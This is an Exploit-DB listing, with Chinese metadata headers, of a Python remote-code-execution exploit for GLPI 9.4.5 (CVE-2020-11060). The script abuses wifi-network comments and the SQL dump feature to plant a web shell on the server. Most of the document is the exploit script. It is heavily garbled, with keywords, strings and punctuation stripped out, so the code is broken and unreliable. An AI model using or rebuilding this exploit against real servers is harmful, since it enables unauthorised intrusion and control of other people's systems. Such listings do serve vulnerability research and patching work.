标题: GLPI 9.4.5 - Remote Code Execution (RCE) EDB-ID: 49992 CVE: 2020-11060 类型: WEBAPPS 平台: PHP 发布日期: 2021-06-14 漏洞利用脚本: # Exploit Title: GLPI 9.4.5 - Remote Code Execution (RCE)
# Exploit Author: Brian Peters
# Vendor Homepage: https://glpi-project.org
# Software Link: https://github.com/glpi-project/glpi/releases
# Version: < 9.4.6
# CVE: CVE-2020-11060

# Download a SQL dump and find the table offset for "wifinetworks" with 
# cat <sqlfile> | grep "CREATE TABLE" | grep -n wifinetworks
# Update the offsettable value with this number in the create_dump function
# The Nix/Win paths are based on defaults. You can use curl -I <url> and use md5sum to find the path based
# on the Set-Cookie hash.

#!/usr/bin/python

 argparse
 json
 random
 re
 requests
 string
 sys
 time
 datetime  datetime
 lxml  html

 
    
     self url user password platform
        selfurl  url
        selfuser  user
        selfpassword  password
        selfplatform  platform
        
        selfsession  requestsSession
        selfsessionverify  
        requestspackagesurllib3disable_warnings
    
     self html
         refindall html
    
     self
        r  selfsessiongetselfurl allow_redirects
        
        csrf_token  selfextract_csrfrtext
        name_field  refindall rtext
        pass_field  refindall rtext
        
         name_field pass_field csrf_token
    
     self
        
            name_field pass_field csrf_token  selfget_login_data
         Exception  e
             
            sysexit
        
        data  
            name_field selfuser 
            pass_field selfpassword
             
             
             csrf_token
        
        
        r  selfsessionpostselfurl datadata allow_redirects
        
         rstatus_code  
        
     self padding datemod
        r  selfsessionget
        comment  rcontent
        
        r  selfsessionget.format(self.url))
        
            csrf_token  selfextract_csrfrtext
         Exception  e
             
            sysexit
            
        webpage  htmlfromstringrcontent
        links  webpagexpath
         rawlink  links
               rawlink
         rawlinkparts  rawlinksplit
         networkid  rawlinkparts
          networkid
         
         data  
              
              
              
              comment
              padding
              
       
       networkid
                     csrf_token
                     datemod
                
        
                r  selfsessionpostselfurl datadata
    
     self datemod
        r  selfsessionget
        comment  rcontent

        r  selfsessiongetselfurl
        
            csrf_token  selfextract_csrfrtext
         Exception  e
             
            sysexit
        
        data  
      
      
      
      comment
      
      
      
             csrf_token
             datemod
        
        
        r  selfsessionpostselfurl datadata
         
         
         
        
     self padding datemod
        r  selfsessionget
        comment  rcontent
        
        
        
        r  selfsessiongetselfurl
        webpage  htmlfromstringrcontent
        links  webpagexpath
         rawlink  links
               rawlink
                rawlinkparts  rawlinksplit
                link  rawlinkparts
                
                
                r  selfsessiongetselfurl link
                
                 csrf_token  selfextract_csrfrtext
          Exception  e
              
             sysexit
             
         rawlinkparts  rawlinksplit
         networkid  rawlinkparts
                      
                data  
              
              
              
              comment
              padding
              
              
              networkid
                     csrf_token
                     datemod
                
                r  selfsessionpostselfurl datadata
                 
                 padding
    
     self shellname
        path
         selfplatform  
            path
         selfplatform  
            path
        
        
        
        r  selfsessiongetselfurl path shellname
        
         selfurl shellname
        
     self shellname
        r  selfsessiongetselfurl shellname
         rcontent
           rcontent
             
            sysexit
         rcontent
    
     self
          selflogin
             
            
        
             

 
 now  datetimenow
 datemod  nowstrftime

        
        
        tick
  
     
            letters  stringascii_letters
     shellname  joinrandomchoiceletters  i  
     
     
     padding  
             i  tick
                paddingi
     
     selfwipe_networkspadding datemod
     selfcreate_networkdatemod
            selfedit_networkpadding datemod            
            selfcreate_dumpshellname
            selfshell_checkshellname
      
            
            tick

        
        
 __name__  
    
    parser  argparseArgumentParser
    parseradd_argument  required
    parseradd_argument  required
    parseradd_argument  required
    parseradd_argument  required
    
    args  parserparse_args
    
    g  GlpiBrowserargsurl userargsuser passwordargspassword platformargsplatform
    
    gpwn URL: https://www.exploit-db.com/exploits/49992